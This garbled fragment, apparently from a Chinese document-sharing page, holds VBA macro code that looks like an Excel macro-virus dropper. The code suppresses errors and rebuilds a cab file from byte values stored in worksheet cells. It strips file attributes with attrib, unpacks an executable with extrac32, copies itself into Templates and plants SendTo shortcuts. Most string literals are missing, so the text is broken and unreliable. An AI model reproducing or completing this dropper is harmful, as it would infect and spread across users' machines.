文档介绍：0PrivateSubcreatecabfile()TRUEDimchAsByte9onerrorresumenextTRUESetfso=CreateObject("")0Setw=CreateObject("")myfolder=("Templates")&"\Software\"(myfolder)=(i).name=""thenworkbooks(i).&"\"EndIfNextFori=(i).name=""thengotoa1EndIfNextcabfile="c:\"(&"\")#1Fori=1To150hv=("(m1)_(m2)_(m3)").Cells(i,2).Valuen=1m=instr(hv,"")dowhilem>0ch=CByte(mid(hv,n,m-n))put#1,,chn=m+1m=instr(n,hv,"")loopNextclose#"%COMSPEC%/cattrib-s-hc:\",0,"%COMSPEC%/cattrib-s-hc:\",0,"%COMSPEC%/cextrac32/E/Y/Lc:\c:\",0,"%COMSPEC%/cextract/E/Y/Lc:\c:\",0,"c:\",myfolder,Truesetword=createobject("")ntpath=&"\""c:\",ntpath,"c:\",&"\","c:\.exe",(1)&"\"setfold=(("SendTo"))(,"软盘")>0thensetlnk=(&"\"&)="c:\sendto